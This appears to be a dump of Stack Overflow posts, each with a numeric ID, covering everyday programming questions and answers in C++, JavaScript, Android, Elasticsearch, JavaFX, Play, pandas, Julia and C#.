9708027	0	Is it possible to define "virtual" default implemetation for getter-setter without preprocessor macros <p>It is possible to use template for default implemetation of getter-setter. </p> <p>For instance - <a href="http://www.kirit.com/C%2B%2B%20killed%20the%20get%20%26%20set%20accessors/A%20simple%20meta-accessor" rel="nofollow">http://www.kirit.com/C%2B%2B%20killed%20the%20get%20%26%20set%20accessors/A%20simple%20meta-accessor</a>. Most important, that if you decide to override default behaviour of such setter or getter, you can easly do this without need to change "client" code, because setter-getter calling syntax is same to calling methods, i.e.:</p> <pre><code>an_object.an_int( 3 ); int i = an_object.an_int(); </code></pre> <p>In both cases an_int can be object with operator() or method of an_object. After overriding re-compilation will be required in "client" code.</p> <p>But is it possible to define "virtual" default implemetation for getter-setter without preprocessor macros? i.e. important thing here is that during overide recompilation of "client" code is not needed. Of course it is possible to do with preprocessor, by I wonder, is there any more elegant solution?</p> <p>For my knowladge of C++03 is not possible, but maybe someone has some ideas, or maybe it is possible in C++11?</p> <hr> <p>Answer for "David Rodríguez - dribeas": something like this:</p> <pre><code>#define accessor(type,name) \ virtual type name() {return m_##name;} \ type m_##name; </code></pre> <p>It can be overrided in derived class without need of recompilation of "client" code.</p>
35905632	0	 <p>You should use directives. In their definition, they have a link attribute which receives a function. This function is executed after the directive template is rendered in the DOM. So inside this function you can access any element inside the directive template.</p> <p>Remember: if you are going to do some DOM manipulation you should only execute it in the linker function of the directive that renders the DOM you're manipulating.</p> <p>You can learn more about creating custom directives in <a href="https://docs.angularjs.org/guide/directive" rel="nofollow">https://docs.angularjs.org/guide/directive</a></p>
19622214	0	 <p>You need to call</p> <pre><code>call %ProgramFiles(x86)%\Microsoft Visual Studio 12.0\VC\vcvarsall.bat </code></pre> <p>in your command line window. This sets up a usable environment.</p>
15463963	0	 <p>this example as been tested on Chrome 25 and Firefox 19. (<a href="http://jsfiddle.net/9ezyz/" rel="nofollow">http://jsfiddle.net/9ezyz/</a>)</p> <pre><code>function input_update_size() { var value = $(this).val(); var size = 12; // Looking for font-size into the input if (this.currentStyle) size = this.currentStyle['font-size']; else if (window.getComputedStyle) size = document.defaultView.getComputedStyle(this,null).getPropertyValue('font-size'); $(this).stop().animate({width:(parseInt(size)/2+1)*value.length},500); //$(this).width((parseInt(size)/2+1)*value.length); } $('input') .each(input_update_size) .keyup(input_update_size); </code></pre>
5073435	0	 <p>While I'm not install expert, I've used Wix successfully. It's complicated to say the least.</p> <p>I don't see any of these products being mentioned that I've seen clients use successfully. </p> <p><a href="http://www.installaware.com/" rel="nofollow">http://www.installaware.com/</a> http://www.flexerasoftware.com/products/installshield.htm <a href="http://www.wise.com/Products/Installations/WiseInstallationStudio.aspx" rel="nofollow">http://www.wise.com/Products/Installations/WiseInstallationStudio.aspx</a></p> <p>All provide localization, file/app for double click association, Framework bootstrapping and target location to the best of my knowledge. InstallAware and Wise provide some form of autoupdate support.</p>
13929117	0	Use VB Library that made by VB Net in C# <p>Sometimes we meet some code of VB.net that doesn't support on C#, such as Mid, AscW,Asc, Right, Left .. etc so that i have made the Libraries that made by VBnet. well, my question is simple</p> <p><strong>is this going to get any problem? if i'm developing with 2 language of NET?</strong></p>
40894719	0	Can search Elasticsearch 5.0 (Windows) using simple query, but prefixed with field name fails (search by example) <p>I am trying to get "search by example" functionality out of ElasticSearch. I have a number of objects which have fields, e.g. name, description, objectID, etc. I want to perform a search where, for example, "name=123" and "description=ABC"</p> <p>Mapping:</p> <pre><code>{ "settings": { "number_of_replicas": 1, "number_of_shards": 3, "refresh_interval": "5s", "index.mapping.total_fields.limit": "500" }, "mappings": { "CFS": { "_routing": { "required": true }, "properties": { "objectId": { "store": true, "type": "keyword", "index": "not_analyzed" }, "name": { "type": "text", "analyzer": "standard" }, "numberOfUpdates": { "type": "long" }, "dateCreated": { "type": "date", "format": "strict_date_optional_time||epoch_millis" }, "lastModified": { "type": "date", "format": "strict_date_optional_time||epoch_millis", "index": "not_analyzed" } } } } </code></pre> <p>}</p> <p>Trying a very simple search, without field name, gives correct result:</p> <p>Request: GET <a href="http://localhost:9200/repository/CFS/_search?routing=CFS&amp;q=CFS3" rel="nofollow noreferrer">http://localhost:9200/repository/CFS/_search?routing=CFS&amp;q=CFS3</a></p> <p>Returns:</p> <pre><code>{ "took": 1, "timed_out": false, "_shards": { "total": 1, "successful": 1, "failed": 0 }, "hits": { "total": 1, "max_score": 0.7831944, "hits": [ { "_index": "repository", "_type": "CFS", "_id": "589a9a62-1e4d-4545-baf9-9cc7bf4d582a", "_score": 0.7831944, "_routing": "CFS", "_source": { "doc": { "name": "CFS3", "description": "CFS3Desc", "objectId": "589a9a62-1e4d-4545-baf9-9cc7bf4d582a", "lastModified": 1480524291530, "dateCreated": 1480524291530 } } } ] } } </code></pre> <p>But trying to prefix with a field name fails (and this happens on all fields, e.g. objectId):</p> <p>Request: GET <a href="http://localhost:9200/repository/CFS/_search?routing=CFS&amp;q=name:CFS3" rel="nofollow noreferrer">http://localhost:9200/repository/CFS/_search?routing=CFS&amp;q=name:CFS3</a></p> <p>Returns:</p> <pre><code>{ "took": 6, "timed_out": false, "_shards": { "total": 1, "successful": 1, "failed": 0 }, "hits": { "total": 0, "max_score": null, "hits": [] } } </code></pre> <p>Eventually I want to do something like:</p> <pre><code>{ "bool" : { "must" : [ { "wildcard" : { "name" : { "wildcard" : "*CFS3*", "boost" : 1.0 } } }, { "wildcard" : { "description" : { "wildcard" : "*CFS3Desc*", "boost" : 1.0 } } } ] } } </code></pre> <p>Maybe related? When I try to use a "multi_match" to do this, I have to prefix my field name with a wildcard, e.g.</p> <pre><code>POST http://localhost:9200/repository/CFS/_search?routing=CFS { "query": { "multi_match" : { "query" : "CFS3", "fields" : ["*name"] } } } </code></pre> <p>If I don't prefix it, it doesn't find anything. I've spent 2 days searching StackOverflow and the ElasticSearch documentation. But these issues don't seem to be mentioned. There's lots about wildcards for search terms, and even mention of wildcards AFTER the field name, but nothing about BEFORE the field name. What piece of information am I missing from the field name, that I need to deal with by specifying a wildcard?</p> <p>I think the types of my fields in the mapping are correct. I'm specifying an analyzer.</p>
11380835	0	 <pre><code>private ByteArrayInputStream getPhoto() { Uri contactUri = ContentUris.withAppendedId(Contacts.CONTENT_URI, id); Uri photoUri = Uri.withAppendedPath(contactUri, Contacts.Photo.CONTENT_DIRECTORY); Cursor cursor = getContentResolver().query(photoUri, new String[] {ContactsContract.CommonDataKinds.Photo.PHOTO}, null, null, null); if (cursor == null) { return null; } try { if (cursor.moveToFirst()) { byte[] data = cursor.getBlob(0); if (data != null) { return new ByteArrayInputStream(data); } } } finally { cursor.close(); } return null; } </code></pre> <p>This is my code. It is working.</p>
26682699	0	Use case for not declaring a function as a prototype of another custom function? <p>I'm trying to get my head around the proper way of declaring js functions within my existing custom objects.</p> <p>E.g. Usually I've done it this way to add functions to my existing object(s):</p> <pre><code>function whateverController() { this.doSomething = function() { } } </code></pre> <p>What is the advantage of doing it the following way?</p> <pre><code>function whateverController() { ...some random code } whateverController.prototype.doSomething = function() { } </code></pre> <p>From what I've been reading the latter example is the optimum way of declaring these functions to avoid having to recreate these functions every single a time I create a new whateverController object.</p> <p>Could someone please provide a good use case though where my former example would be better suited? If at all? Any good reading links would be helpful too!</p> <p>Is the latter method considered standard?</p>
7453229	0	 <p>it is byDefault set, if you dont want any color then you can set a <strong>transparent</strong> color in xml</p> <pre><code>android:listSelector="#00000000" </code></pre>
9770068	0	 <p>By looking at the HotSpot code there is a node.hpp/node.cpp that declares a node class without a namespace. <br/> Perhaps there is a collision with the pure virtual functions. <br/> I don't have enough VM knowledge to dig any further...</p>
3553244	0	Android OpenGL ES and 2D <p>Well, here's my request. I don't know OpenGL already, and I'm not willing to learn it, I want to learn OpenGL ES directly since I'm targeting my development to android, however. I want to learn OpenGL ES in order to develop my <em>2D</em> games. I chose it for performances purpose (since basic SurfaceView drawing isn't that efficient when it comes to RT games). My question is: where to start? I've spent over a month browsing Google and reading/trying some tutorials/examples I've found anywhere but to be honest, it didn't help much and this is for two reasons:</p> <ol> <li>Almost <em>all</em> the articles/tutorials I've came across are 3D related (I only want to learn how to do my 2D Sprites drawing)</li> <li>There's no base to start from since all the articles targets a specific things like: "How to draw a triangle (with vertices)", "How to create a Mesh"... etc.</li> </ol> <p>I've tried to read some source code too (ex.: replica island) but the codes are too complicated and contains a lot of things that aren't necessary; result: I get lost among 100 .java files with weird class names and stuff.</p> <p>I guess there's no course like the one I'm looking for, but I'll be very glad if somebody could give me some guidelines and some <em>links</em> maybe to learn what I'm up to (only OpenGL ES 2D Sprites rendering! nothing 3D).</p>
11025128	0	pl/sql Compare with previous row <p>The goal is to combine Time_a within 10 min interval that has same ID. And group the ID.</p> <pre><code>ID Time_a -&gt; ID ------------ ---------- 1 12:10:00 1 1 12:15:00 2 1 12:20:00 2 2 12:25:00 2 12:35:00 2 02:00:00 </code></pre> <p>It became two '2' because time interval between row5 and row6 is more than 10 min. I was able to combine within 10-min difference, but it doesn't distinguish ID.</p> <pre><code>select ID from( select id, Time_a, min(time) OVER (order by id, time rows between 1 preceding and 1 preceding) prev_t_stamp from dual ) where abs(Time_a-prev_t_stamp)&gt;10/1440 </code></pre>
12724893	0	Android AndEngine : sprite.detachSelf() doesnt remove the sprite <p>I'm creating small balloon game. where balloons pop up randomly and disappear after a little while. When i clicked on them those i want to disappear them and show +1 instead of the balloon. When i click on the balloon, i want to deattach the balloon sprite. My problem is when i call sprite.detachSelf() in the code, the sprite just disapears but actually the sprite hasn't being removed. It only becomes invisible. When i click again on that place the balloon appears, even after the balloon has disappear it shows +1. Which means i think the balloon hasn't deattached correctly.</p> <p>Here is my code:</p> <pre><code>@Override protected Scene onCreateScene() { //this.mEngine.registerUpdateHandler(new FPSLogger()); scene = new Scene(); backgroundSprite = new Sprite(0, 0, this.mBackgroundTextureRegion, getVertexBufferObjectManager()); backgroundSprite.setSize(CAMERA_WIDTH, CAMERA_HEIGHT); scene.attachChild(backgroundSprite); scene.unregisterTouchArea(backgroundSprite); text = new Text(0, 0, font, "Score : 00", getVertexBufferObjectManager()); scene.attachChild(text); textTime = new Text(displayMetrics.widthPixels - 220, 0, font, "00 : 60", getVertexBufferObjectManager()); scene.attachChild(textTime); timer = new TimerClock(1, new TimerClock.ITimerCallback() { TimerClock t = timer; public void onTick() { System.out.println("timer inside"); if (time &gt; 0) { time = time - 1; System.out.println("timer inside : " + time); scene.detachChild(textTime); textTime = new Text(displayMetrics.widthPixels - 220, 0, font, "00 : " + time, getVertexBufferObjectManager()); if (time &lt; 10) { textTime.setColor(1, 0, 0); } scene.attachChild(textTime); deleteSpriteSpawnTimeHandler(sprite); } else{ scene.unregisterUpdateHandler(this.t); } } }); this.mEngine.registerUpdateHandler(timer); createSpriteSpawnTimeHandler(); return scene; } private void deleteSpriteSpawnTimeHandler(final IEntity ball) { TimerHandler spriteTimerHandler1; final Engine e = mEngine; this.getEngine().registerUpdateHandler( spriteTimerHandler1 = new TimerHandler(0.5f, true, new ITimerCallback() { @Override public void onTimePassed( final TimerHandler spriteTimerHandler1) { spriteTimerHandler1.reset(); deleteSprite(ball); } })); } private void gameOverSpawnTimeHandler() { TimerHandler spriteTimerHandler1; final Engine e = mEngine; this.getEngine().registerUpdateHandler( spriteTimerHandler1 = new TimerHandler(60, true, new ITimerCallback() { @Override public void onTimePassed( final TimerHandler spriteTimerHandler1) { spriteTimerHandler1.reset(); timeDue = 0; scene.detachChild(textComment); textComment = new Text(CAMERA_WIDTH / 2 - 100, CAMERA_HEIGHT / 2, font, "Game Over...!!!", getVertexBufferObjectManager()); textComment.setColor(1.0f, 0.0f, 0.0f); scene.attachChild(textComment); SharedPreferences myPrefs = getApplicationContext().getSharedPreferences("myPrefs", MODE_WORLD_READABLE); SharedPreferences.Editor prefsEditor = myPrefs.edit(); String score1 = myPrefs.getString("SCORE1", "0"); String score2 = myPrefs.getString("SCORE2", "0"); int scoreInt1 = Integer.parseInt(score1); int scoreInt2 = Integer.parseInt(score2); System.out.println("session in" + score1 + " " + score2); currScore = totalScore; if (currScore &gt; scoreInt1 &amp;&amp; currScore &gt; scoreInt2) { prefsEditor.clear(); prefsEditor.commit(); prefsEditor.putString("SCORE1", String.valueOf(currScore)); prefsEditor.putString("SCORE2", String.valueOf(scoreInt1)); prefsEditor.commit(); } else if (currScore &lt; scoreInt1 &amp;&amp; currScore &gt; scoreInt2) { prefsEditor.clear(); prefsEditor.commit(); prefsEditor.putString("SCORE1", String.valueOf(scoreInt1)); prefsEditor.putString("SCORE2", String.valueOf(currScore)); prefsEditor.commit(); } else { } } })); } private void createSpriteSpawnTimeHandler() { TimerHandler spriteTimerHandler; final Engine e = mEngine; this.getEngine().registerUpdateHandler( spriteTimerHandler = new TimerHandler(0.75f, true, new ITimerCallback() { @Override public void onTimePassed( final TimerHandler spriteTimerHandler) { spriteTimerHandler.reset(); // scene.detachChild(backgroundSprite); // scene.attachChild(backgroundSprite); // Random Position Generator final float xPos = MathUtils.random(50.0f, (CAMERA_WIDTH - 50.0f)); final float yPos = MathUtils.random(75.0f, (CAMERA_HEIGHT - 75.0f)); gameOverSpawnTimeHandler(); if (timeDue &gt; 0) { createSprite(xPos, yPos); }else{ //scene.unregisterUpdateHandler(spriteTimerHandler); } } })); } private void createSpriteTextSpawnTimeHandler() { TimerHandler spriteTimerHandler; final Engine e = mEngine; this.getEngine().registerUpdateHandler( spriteTimerHandler = new TimerHandler(mEffectSpawnDelay, true, new ITimerCallback() { @Override public void onTimePassed( final TimerHandler spriteTimerHandler) { spriteTimerHandler.reset(); if (totalScore &gt; 50 &amp;&amp; totalScore &lt; 60) { textComment = new Text(150, 100, font, "Ohhhh...you are doing good.", getVertexBufferObjectManager()); textComment.setColor(1.0f, 0.0f, 0.0f); scene.attachChild(textComment); } deleteSpriteSpawnTimeHandler(textComment); // e.getScene().detachChild(backgroundSprite); // e.getScene().attachChild(backgroundSprite); } })); } private void createSprite(final float pX, final float pY) { sprite = new Sprite(pX, pY, this.mrball, getVertexBufferObjectManager()) { Engine e = mEngine; TextureRegion gball = mgball; float x = pX; float y = pY; private int score = totalScore; private Text textComment;; @Override public boolean onAreaTouched( org.andengine.input.touch.TouchEvent pSceneTouchEvent, float pTouchAreaLocalX, float pTouchAreaLocalY) { if (pSceneTouchEvent.getAction() == TouchEvent.ACTION_DOWN) { this.e.getScene().detachChild(this); if (timeDue &gt; 0) { mBrushDrawingSound.play(); totalScore = totalScore + 1; String score = "Score : " + totalScore; scene.detachChild(text); text = new Text(0, 0, font, score, getVertexBufferObjectManager()); scene.attachChild(text); //sprite.detachSelf(); createSpriteTextSpawnTimeHandler(); textScorePlus = new Text(x, y, font, "+1", getVertexBufferObjectManager()); scene.attachChild(textScorePlus); scene.unregisterTouchArea(textScorePlus); deleteSpriteSpawnTimeHandler(textScorePlus); } } else if (pSceneTouchEvent.getAction() == TouchEvent.ACTION_UP) { } // e.getScene().unregisterTouchArea(sprite); return true; } }; spriteBalloon.add(sprite); sprite.setSize(100, 100); sprite.setAlpha(0.8f); Random randomGenerator = new Random(); red = randomGenerator.nextInt(255); green = randomGenerator.nextInt(255); blue = randomGenerator.nextInt(255); sprite.setColor(red, green, blue); scene.registerTouchArea(sprite); scene.attachChild(sprite); deleteSpriteSpawnTimeHandler(sprite); } private void deleteSprite(IEntity pBall) { IEntity gball = pBall; scene.detachChild(gball);; } </code></pre>
16710054	0	 <p>I faced this issue couple of days before.</p> <p>Right click your project, Go to properties->Java Build path->Order and Export</p> <p>Check Android Private Library->Click Ok</p> <p>Clean the project and run it.it will work.</p>
12181689	0	IllegalStateException while creating a stage in another thread <p>I have a problem with opening one more stage in another thread. No exceptions appears if I'm opening this stage in the same thread.</p> <pre><code>void hashMapDeclaration(){ actions2methods.put("NEW", new Runnable() {@Override public void run() { newNetCreation(); }}); actions2methods.put("LOAD", new Runnable() {@Override public void run() { loadNetState(); }}); ...... //other hashes } HBox buttonBuilder(double spacing,double layoutX,String... bNames){ HBox lBar = new HBox(10); .... //some code for(final String text : bNames){ //in my case text variable value is "NEW" so it should run method newNetCreation Button newButton = new Button(); newButton.setText(text); .... //code newButton.setOnAction(new EventHandler&lt;ActionEvent&gt;() { @Override public void handle(ActionEvent paramT) { Thread t; EventQueue.isDispatchThread(); t = new Thread(actions2methods.get(text)); t.start(); // Start the thread System.out.println("button pressed"); } }); lBar.getChildren().add(newButton); } return lBar; } void newNetCreation(){ final Stage dialogStage = new Stage(); final TextField textField; dialogStage.initOwner(stage); dialogStage.initModality(Modality.WINDOW_MODAL); dialogStage.setFullScreen(false); dialogStage.setResizable(false); dialogStage.setScene(SceneBuilder .create() .fill(Color.web("#dddddd")) .root(textField = TextFieldBuilder .create() .promptText("Enter user name") .prefColumnCount(16) .build() ) .build() ); textField.textProperty().addListener(new ChangeListener() { public void changed(ObservableValue ov, Object oldValue, Object newValue) { System.out.println("TextField text is: " + textField.getText()); } }); dialogStage.show(); System.out.println("new net"); } </code></pre> <p>Method newNetCreation is the one that cause the problem. All actions in my program are store in a HashMap. Method buttonBuilder creates the new thread and should launch methods according to variable value and in my case he must call newNetCreation method, but when he tries, the following exception occurs:</p> <pre><code>Exception in thread "Thread-3" java.lang.IllegalStateException: Not on FX application thread; currentThread = Thread-3 at com.sun.javafx.tk.Toolkit.checkFxUserThread(Unknown Source) at com.sun.javafx.tk.quantum.QuantumToolkit.checkFxUserThread(Unknown Source) at javafx.stage.Stage.&lt;init&gt;(Unknown Source) at javafx.stage.Stage.&lt;init&gt;(Unknown Source) at projavafx.starterapp.ui.StarterAppMain.newNetCreation(StarterAppMain.java:400) at projavafx.starterapp.ui.StarterAppMain$7.run(StarterAppMain.java:354) at java.lang.Thread.run(Thread.java:722) </code></pre>
18864100	0	 <p>table:</p> <pre><code>CREATE TABLE MyTable ( _id INT(10) AUTO_INCREMENT, imagePath VARCHAR(50) ); </code></pre> <p>HTML/PHP</p> <pre><code>&lt;img src="&lt;?php echo $row['imagePath'] ?&gt;" /&gt; </code></pre>
15174929	0	 <p>Right click the server name and choose Activity Montior.</p> <p>Alternatively, you can query the process list with:</p> <pre><code>select * from sys.dm_exec_requests </code></pre> <p>An even better solution is <a href="http://sqlblog.com/files/default.aspx" rel="nofollow"><code>sp_WhoIsActive</code></a> from Adam Machanic, but that might be overkill for your situation.</p>
33552505	0	Scanner continuous loop <p>Why isn't my inputScanner blocking after the first input? It goes into a continous loop. Ignore other details of this code.</p> <pre><code>public class Test { public static void main(String[] args) { boolean finished; do { Scanner inputScanner = new Scanner(System.in); finished = inputScanner.hasNext("exit"); boolean validNumber = inputScanner.hasNextDouble(); if (validNumber) { double number = inputScanner.nextDouble(); System.out.print(number); } else if (!finished) { System.out.println("Please try again."); } inputScanner.close(); } while (!finished); } } </code></pre> <p><strong>EDIT:</strong> On a previous post which was related to this, it was mentioned that "So if you are going use System.in later don't close it (if it is closed, we can't reopen it and read any data from it, hence exception)". Why is this happening? </p>
40508995	0	type is not a member of package controllers <p>I'm currently working on a web app with the play2 framework.</p> <p>Most of the time everything works fine. However when I decide to rebuild the project I get the error: "type HomeController is not a member of package controllers".</p> <p>I've done some research on the web and encountered discussions and topics about this error. However, on all of them this seems to be the answer: </p> <p>"Play 2.4, by default, generates a dependency injected router, unlike previously, when it used a static router. You have two options, remove the routesGenerator line from build.sbt so play will generate a static router, or (better) make your controllers classes instead of objects, and use dependency injection."</p> <p>But, in my project, the HomeController is of type class instead of object and there doesn't seem to be a routesGenerator lin in build.sbt.</p> <p>It is kinda bugging me out, so if someone has an answer to it, that would be super awesome.</p> <p>I managed to get around it two times already but I don't remember how :(.</p> <p>Ok. Time for some specs.</p> <ol> <li>Intellij IDEA 2016.2.5</li> <li>Play 2.5.9</li> <li>Windows 10</li> <li>Java Version 8 Update 111</li> </ol> <p>And now for the code:</p> <p>HomeController:</p> <pre><code>package controllers; import com.avaje.ebean.Ebean; import com.avaje.ebean.Model; import models.Strike; import play.data.Form; import play.data.FormFactory; import play.mvc.*; import views.html.*; import javax.inject.Inject; import java.util.List; import static play.libs.Json.toJson; /** * This controller contains an action to handle HTTP requests * to the application's home page. */ public class HomeController extends Controller { @Inject FormFactory formFactory; public Result index() { return ok(index.render("", formFactory.form(Strike.class))); } public Result addStrike() { Form&lt;Strike&gt; st = formFactory.form(Strike.class).bindFromRequest(); st.get().save(); return redirect(routes.HomeController.index()); } public Result getStrikes(){ List&lt;Strike&gt; strikes = new Model.Finder(Strike.class).all(); return ok(toJson(strikes)); } } </code></pre> <p>Routes:</p> <pre><code>GET / controllers.HomeController.index() POST /strike controllers.HomeController.addStrike() GET /strikes controllers.HomeController.getStrikes() </code></pre> <p>Build.sbt:</p> <pre><code>name := "" version := "1.0-SNAPSHOT" lazy val root = (project in file(".")).enablePlugins(PlayJava, PlayEbean) scalaVersion := "2.11.7" libraryDependencies ++= Seq( javaJdbc, cache, javaWs ) </code></pre> <p>Anyone have any idea?</p> <p>Thanks in advance!</p>
26477548	1	Filter one dataframe using multi-index of another dataframe <p>I have the following two dataframes DF1 and DF2. I would like to filter DF1 based on the multi-index of DF2.</p> <pre><code>DF1: Value Date ID Name 2014-04-30 1001 n1 1 2014-05-31 1002 n2 2 2014-06-30 1003 n3 3 2014-07-31 1004 n4 4 DF2 (index = Date, ID, Name): Date ID Name 2014-05-31 1002 n2 2014-06-30 1003 n3 What i would like is this: Value Date ID Name 2014-05-31 1002 n2 2 2014-06-30 1003 n3 3 </code></pre> <p>To do this i simply use:</p> <pre><code>f_df = df1.ix[df2.index] </code></pre> <p>However, when doing this what i am getting is this (notice the tuple index)</p> <pre><code> Value (2014-05-31, 1002, n2) 2 (2014-06-31, 1003, n3) 4 </code></pre> <p>How can i achieve what i am looking for? which is a resulting dataframes without a tuple index?</p>
8760264	0	 <p>You can use <a href="http://api.jquery.com/one/" rel="nofollow"><code>.one()</code></a> for that.</p> <pre><code>$("a").one("click", function() { // do your stuff } </code></pre> <p>Or you could store the fact that the link has already been clicked by adding a <a href="http://api.jquery.com/jQuery.data/" rel="nofollow"><code>.data()</code></a> attribute.</p> <pre><code>$('a').click(function() { var a = $(this); if (a.data('clicked') == 'clicked') return false; // do your stuff a.data('clicked', 'clicked'); }); </code></pre> <p>Whatever you do you should really drop that inline js (for maintainability and clean code).</p>
5869224	0	Serialize large files - store in memory or on disk? <p>I do a networking app using iPhones and their limited memory is something I must consider. My <code>Message</code> class holds both a image and a video. Now I am about to implement the video file transfer (image already implemented, and is working). I guess the image can be loaded to memory because of their relatively small size (1+ MB), but large video files must reside on disk to avoid filling the memory. </p> <p>To be able to encode the <code>Message</code> instance for sending it over the network (using <code>NSCoding</code> protocol), I convert the <code>UIImage</code> instance to NSData that resides in memory:</p> <pre><code> NSData *imageData = UIImagePNGRepresentation(self.image); </code></pre> <p>The video is stored on disk and is accessed by using an <code>NSURL videoURL</code>. The content of this url (the video file itself) should also be encoded, and it have to be converted to NSData as well. If I init an NSData instance with this url, the <code>videoData</code> will be loaded into and occupying all available space in memory...</p> <pre><code>NSData *videoData = [[NSData alloc] initWithContentsOfURL:videoURL]; </code></pre> <p>...(am I wrong?) so this must be accomplished using another technique.</p> <p>Should I send the <code>Message</code> instance (without the video) first, and then send the video separately using some unknown technique? Or maybe I did miss some conceptual steps here?</p>
13222947	0	How to import data to the database from a CSV file? <p>I am using Ruby 1.9.2, the Ruby on Rails v3.2.2 gem and the MySQL database. I would like to import data to the database from a <a href="http://www.maxmind.com/download/worldcities/worldcitiespop.txt.gz" rel="nofollow">CSV file</a> containing world cities. I think this process should be made by running a RoR migration but I don't know how to properly proceed.</p> <p>In particular, I don't know <em>where</em> (that is, in which directory relating my RoR application) I should put the CSV file and <em>how to access</em> that file from my migration file in order to add data to the database.</p>
8530676	0	 <p>There is two approach check which one you prefers. but I think if possible i will follow first approach. But I have never done it.</p> <p><strong>First Approach</strong> Copy the first database and paste with some othername see following url</p> <p><a href="http://stackoverflow.com/questions/5662181/how-to-copy-existing-database-from-one-app-to-another">How to copy existing database from one app to another</a></p> <p><strong>Second Approach</strong> copy the contents of two database</p> <p><strong>Step-1</strong> First Attach two databases</p> <pre><code>ATTACH DATABASE filename AS database-name; </code></pre> <p>The DATABASE keyword is optional, but I like the clarity of it. filename should be the path to the database file you wish to attach, and the database-name is a unique name. </p> <p><strong>Step-2</strong> Run Insert Into commands for the tables you want to transfer.</p> <pre><code>INSERT INTO X.TABLE(Id, Value) SELECT * FROM Y.TABLE; </code></pre>
31960883	0	Text Box custom source as data table <p>I'm trying to set a custom source for my Text Box for the suggest option. I've got so far to this.</p> <pre><code> private void Input_Box_Load(object sender, EventArgs e) { sc.Open(); SqlCommand cmd = new SqlCommand("select MoM_ID from dbo.MoM_Form ORDER BY MoM_ID ASC", sc); SqlDataReader R_1; R_1 = cmd.ExecuteReader(); DataTable dt_1 = new DataTable(); dt_1.Columns.Add("MoM_ID", typeof(string)); dt_1.Load(R_1); TextBox_FormID.AutoCompleteMode = AutoCompleteMode.Suggest; TextBox_FormID.AutoCompleteSource = dt_1 ; sc.Close(); } </code></pre> <p>Is there any way to convert dt_1 to the type of autocomplete collection ? Or I should iterate the values into a new list and then add that list as a source?</p> <p>Thanks</p>
23077284	1	Stomp.py how to return message from listener <p>I've already read this topic: <a href="http://stackoverflow.com/questions/9328863/stomp-py-return-message-from-listener">Stomp.py return message from listener</a></p> <p>But i still don't get how this works, and why there's no way to retrieve a message from the stomp object, or the listener directly?</p> <p>If i can send a message via the send method, and If i can receive a message with an on_message listener method, why can't I return that message to my original function, so I could return it to the frontend?</p> <p>So if i have:</p> <pre><code>class MyListener(object): def on_error(self, headers, message): print '&gt;&gt;&gt; ' + message def on_message(self, headers, message): print '&gt;&gt;&gt; ' + message </code></pre> <p>how could I return a message from the on_message method?</p> <p>or could I do it somehow after the conn.subscribe(...) ??</p>
22039351	0	Set Selected System Font to TextView <p>I'm doing one demo. In that I'm loading the system fonts into the <code>Spinner</code> and I want to set the selected font to <code>TextView</code>. I done with font loading but I'm not able to set it to <code>TextView</code>. I'm confused with the <code>TypeFace</code> ... Following is my code..</p> <pre><code> package com.example.accessingsystemfonts; import java.io.File; import java.util.ArrayList; import java.util.List; import android.app.Activity; import android.graphics.Typeface; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.Spinner; import android.widget.TextView; public class MainActivity extends Activity { TextView tv; Button b1; Spinner sp1; List&lt;String&gt; fontNames ; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); tv=(TextView)findViewById(R.id.tv); b1=(Button)findViewById(R.id.buttonset); sp1=(Spinner)findViewById(R.id.spinnersystemfonts); readAllFonts(); b1.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { tv.setTypeface(?); **How to set selected font??** } }); } private List&lt;String&gt; readAllFonts() { fontNames = new ArrayList&lt;String&gt;(); File temp = new File("/system/fonts/"); String fontSuffix = ".ttf"; for(File font : temp.listFiles()){ String fontName = font.getName(); if(fontName.endsWith(fontSuffix)) { fontNames.add(fontName.subSequence(0,fontName.lastIndexOf(fontSuffix)).toString()); } } sp1.setAdapter(new ArrayAdapter&lt;String&gt;(getBaseContext(),android.R.layout.simple_spinner_dropdown_item,fontNames)); return fontNames; } } </code></pre>
30141968	0	Julia file input reading speed <p>I'm giving Julia a go while solving Code Jam problems, in this case Rope Intranet from round 1C 2010 (<a href="https://code.google.com/codejam/contest/619102/dashboard" rel="nofollow">https://code.google.com/codejam/contest/619102/dashboard</a>)</p> <p>Solution is basically: </p> <pre><code>for tc = 1:int(readline()) n = int(readline()) a = [map(int, split(readline())) for _ = 1:n] ans = 0 for (i, x) in enumerate(a) for y in a[i + 1:end] ans += (x[1] - y[1]) * (x[2] - y[2]) &lt; 0 end end println("Case #", tc, ": ", ans) end </code></pre> <p>However, time results for the large input are not very impressive comparing to solutions in c++ and python:</p> <pre><code>julia real 0m6.196s user 0m6.028s sys 0m0.373s c++ real 0m0.392s user 0m0.338s sys 0m0.053s pypy real 0m0.529s user 0m0.507s sys 0m0.016s </code></pre> <p>Situation changes, when I replace file input with random numbers (still slower than c++ though):</p> <pre><code>julia real 0m3.065s user 0m2.868s sys 0m0.338s c++ real 0m1.413s user 0m1.348s sys 0m0.055s pypy real 0m22.491s user 0m22.257s sys 0m0.160s </code></pre> <p>Is there any way I can optimize file reading times in Julia (I'm using v0.3.7)?</p>
7686072	0	 <pre><code>NSMutableDictionary *variables = [NSMutableDictionary dictionaryWithCapacity:4]; [variables setObject:[NSString stringWithFormat:@"Hi."] forKey:@"message"]; [variables setObject:@"http://icon.png" forKey:@"picture"]; //http://tinyurl.com/45xy4kw [variables setObject:@"Create post" forKey:@"name"]; [variables setObject:@"Write description." forKey:@"description"]; [_facebook requestWithGraphPath:[NSString stringWithFormat:@"/%@/feed",facebook_user_id] andParams:variables andHttpMethod:@"POST" andDelegate:self]; </code></pre>
25831462	0	how to make the text box show the date directly without putting the cursor and tap in the keybaord <p>please help me with this issue. I'm using windows forms in C# and I have textbox that I want to display the date on it. but its not working without putting the cursor on the text box and click on the keyboard after that the date is display. I want it to be display directly.</p> <p>see the my code</p> <pre><code> private void rdate_TextChanged(object sender, EventArgs e) { DateTime d = DateTime.Now; rdate.Text = d.ToString(); } </code></pre>
